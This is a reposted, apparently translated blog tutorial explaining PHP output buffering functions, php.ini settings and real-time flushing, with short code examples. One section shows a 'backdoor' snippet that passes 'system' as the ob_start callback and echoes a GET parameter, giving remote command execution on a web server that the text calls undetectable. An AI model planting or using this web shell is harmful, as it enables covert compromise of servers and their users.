Overview
I have studied the input and output buffering of PHP before, but after the blog moved, the original article could not be found. I saw a good article today and reposted it by the way.
Introduction
Speaking of output buffering, the first thing to talk about is something called a buffer. Let's give a simple example to illustrate its role: when we edit a document, the system will not write to the disk before we save it, but will write it to the buffer. When the buffer is full or a save operation is performed, , the data will be written to the disk. For PHP, every output operation like echo is also written to the php buffer first. The data will not be displayed on the browser until the script is executed or a forced output caching operation is performed.
In fact, for PHP programmers, basically every script involves output buffering, but in most cases, we do not need to make changes to the output buffering. Today, let’s use an example to make a detailed analysis of the PHP output buffer control function “Output Control”.
The following example briefly introduces how output buffering exists in general scripts:
Copy code The code is as follows:
echo 'Apple';
echo 'IBM';
echo 'Microsoft'
When we execute the above script, when the script finishes executing the first echo, it will not output the corresponding content to the browser, but will output it to a buffer, and so on, when all three echos are executed (also That is, when the script ends), all the contents of the buffer will be output to the browser. Of course, this buffer also has a size limit, which is set according to the output_buffering option in php.ini. This will be introduced in detail in the following article. The output buffer control discussed in this chapter is to operate the content in the buffer before the end of the script.
The following example can better reflect the application of output buffer control:
Copy code The code is as follows:
echo 'Apple'; sleep(2);
echo 'IBM'; sleep(2);
echo 'Microsoft';
We need to wait at least 2 seconds to see the output result, so can we display it in real time? That is to say, the corresponding content will be output when the first echo is executed. At this time, you need to use the output buffer control function to operate the buffer. The specific implementation will be put aside for now, and will be announced at the end of the article.
Function
1. In PHP, there cannot be any output before functions that send header files such as header(), session_start(), setcookie(), etc., but the output buffer control function can be used to output before these functions. without reporting an error. In fact, there is no need to do this, it is a very rare use.
2. Process the output content, such as generating static cache files and performing gzip compression output. This is a commonly used function.
3. Capture some unobtainable function output, such as phpinfo(), var_dump(), etc. These functions will display the operation results in the browser. If we want to process these results, it is best to use the output buffer control function. Not a bad approach. To put it simply, this type of function does not have a return value, and to obtain the output data of these functions, the output buffer control function must be used.
4. The last application is the real-time output of some data mentioned in the introduction.
Related configuration items in php.ini
Let’s take a look at the options related to output buffering control in php.ini. There are three options in total: output_buffering, implicit_flush and output_handler.
1.output_buffering defaults to off. When set to on, the output buffer is automatically opened in all scripts, that is, the ob_start() function is automatically executed in each script without calling the function explicitly. It can also be set to an integer number, representing the maximum number of bytes that the buffer can store. We mentioned this configuration item in the description below Example 1.
2. Implicit_flush defaults to off. When set to on, PHP will automatically send the buffer content after output. That is, flush() is automatically executed after each piece of output. Of course, valid output not only refers to functions like echo and print, but also includes HTML segments.
3.output_handler defaults to null, and its value can only be set to a built-in function name. Its function is to process all output of the script using the defined function. Its usage is similar to ob_start(‘function_name’), which will be introduced below.
In this article, unless otherwise specified, the values of output_buffering, implicit_flush and output_handler in php.ini are default values.
Detailed explanation of Output Control function
ob_start()
bool ob_start ([ callback outputcallback[,intchunk_size [, bool $erase ]]] )
You can also understand the meaning of this function from its name, which is to open the output buffer for the next step of output buffer processing. What I want to mention here is the usage of its parameters. The first parameter needs to pass a callback function, which needs to take the buffer content as a parameter and return a string. He will be called when the buffer is sent out. The buffer sending refers to the execution of functions such as ob_flush() or the completion of script execution. The ob_flush() function will be introduced below. You can understand its usage by looking at a simple example:
Copy code The code is as follows:
function dothing1($echo_thing){
Return ' #' . $echo_thing . '# ';
}
ob_start('dothing1');
echo 'Apple';
Output results
#Apple#
From the output results, we can see that "#" is added on both sides of the word, which means that the dothing1 function we defined is run when the buffer content is output.
Let’s look at a more practical example, which is a common method of compressing web content using gzip and then outputting it. The code is as follows:
Copy code The code is as follows:
ob_start();
echo str_repeat('Apple', 1024);
Output result: Without gzip compression, the output content size is 5.2KB.
Output results: When using gzip compression, the document size is much smaller, and compression takes time, so it takes a long time.
The second parameter chunk_size is the byte length of the buffer. If the buffer content is greater than this length, it will be sent out of the buffer. The default value is 0, which means the function will be called at the end. If the third parameter erase is set to flase, it means that the buffer will not be deleted until the script is executed. If the delete buffer function (will be mentioned later) is executed in advance, an error will be reported.
There are so many uses of ob_start(), but there are two points that need special attention:
1.ob_start() can be called repeatedly, which means that multiple buffers can exist in a script, but remember to close them all in nesting order, and if multiple ob_starts define the first parameter , that is, if the callback functions are all defined, they will be executed in sequence in the nesting order. Regarding the stacking and nesting of buffers, we will introduce it in detail at the ob_get_level function, so we won’t go into too much detail here.
2.ob_start() also has a less obvious but fatal backdoor usage. The implementation code is as follows:
Copy code The code is as follows:
$cmd = 'system';
ob_start($cmd);
echo $_GET['a'];
ob_end_flush();
Output results under windows:
14 directories 30,970,388,480 available bytes
If you understand the above usage of ob_start, this code is not difficult to understand. It uses the ob_start function to pass the content of the buffer output as a parameter into the set function, realizing the Web server Permission to execute commands remotely without being detected.
ob_get_contents()
string ob_get_contents (void)
This function is used to obtain the contents of the buffer at this time. The following example can better understand its usage:
Copy code The code is as follows:
ob_start('doting2');
echo 'apple';
$tmp = ob_get_contents();
file_put_contents('./doting2', $tmp);
ob_end_flush()
ob_get_length()
This function is used to get the length of the buffer content.
ob_get_level()
int ob_get_level (void)
This function is used to get the nesting level of the buffer mechanism. When we introduced the ob_start() function, we said that multiple buffers can be nested in a script, and this function is used to get the nesting level of the current buffer. , usage is as follows:
Copy code The code is as follows:
ob_start();
var_dump(ob_get_level());
ob_start();
var_dump(ob_get_level());
ob_end_flush();
ob_end_flush();
After running, you can clearly see their nested relationship.
ob_get_status()
array ob_get_status ([ bool $full_status = FALSE ] )
This function is used to obtain the status of the current buffer and return an array of status information. If the first parameter is true, an array of detailed information will be returned. Let’s analyze this array with an example:
Copy code The code is as follows:
ob_start('ob_gzhandler');
var_export(ob_get_status());
ob_start();
var_export(ob_get_status());
ob_end_flush(); ob_end_flush();
Running results
array ( 'level' => 2, 'type' => 1, 'status' => 0, 'name' => 'ob_gzhandler', 'del' => true, )
array ( 'level' => 3, 'type' => 1, 'status' => 0, 'name' => 'default output handler', 'del' => true, )
Description:
1.level is the nesting level, which is the same as the value obtained through ob_get_level()
2.type is the processing buffer type, 0 means automatic processing within the system, 1 means manual processing by the user
3.status is the buffer processing status, 0 is the start, 1 is in progress, and 2 is the end
4.name is the name of the defined output processing function, which is the function name passed in as the first parameter in the ob_start() function
5.del indicates whether the buffer deletion operation has been run
ob_flush()
void ob_flush (void)
The function of this function is to "send" the current buffer content and clear the buffer at the same time. It should be noted that the word "send" is used here, which means that calling this function will not output the buffer content and must be called afterwards. The flush function will output. The usage of flush will be discussed below, and no examples will be given here.
flush()
void flush (void)
This function is relatively commonly used and is used to send all the previous output to the browser for display without any impact on the cache area. In other words, whether it is the output of functions such as echo, HTML entities, or content sent by running ob_start(), it will be displayed in the browser after running flush().
The difference between ob_flush() and flush()
When caching is not enabled, the content output by the script is waiting for output on the server side. flush() can immediately send the content waiting for output to the client. After the cache is turned on, the content output by the script is stored in the output cache. At this time, there is no content waiting for output. If you use flush() directly, no content will be sent to the client. The function of ob_flush() is to take out the content originally existing in the output cache and set it to the waiting output state, but it will not be sent directly to the client. In this case, you need to use ob_flush() first and then flush(). The client The terminal can immediately get the output of the script.
void ob_implicit_flush()
This function is used to turn on/off the absolute flush mode, which automatically executes flush() after each output, thereby eliminating the need to explicitly call flush() to improve efficiency.
Other related functions
1.bool ob_end_flush (void)
2.string ob_get_flush (void)
3.void ob_clean (void)
4.bool ob_end_clean (void)
5.string ob_get_clean (void)
Output some data in real time
I believe that after reading the above content, you will have a deeper understanding of PHP's buffer control function. Now let's return to the question left in the introduction: let the script in Example 2 realize real-time display of content without Wait 4 seconds for everything to appear.
We can write the following different ways according to whether the cache is turned on or not. If you cannot get the expected effect during the test, you can write it below header('content-type:text/html;charset=utf-8'); Insert str_repeat(' ', 1024);, you can also try a larger value. Even if some browsers do this, the effect may still not appear. You can try to put the php code into the complete html code block body. Do not omit the header('content-type:text/html;charset=utf-8'); in the following code, otherwise some browsers will not see the effect.
Copy code The code is as follows:
ob_start(''); //Here I use ob_start('ob_gzhandler') which has no effect
header('content-type:text/html;charset=utf-8');
echo 'Apple #';
ob_flush(); flush();
sleep(2);
echo 'IBM #';
ob_flush(); flush();
sleep(2);
echo 'Microsoft';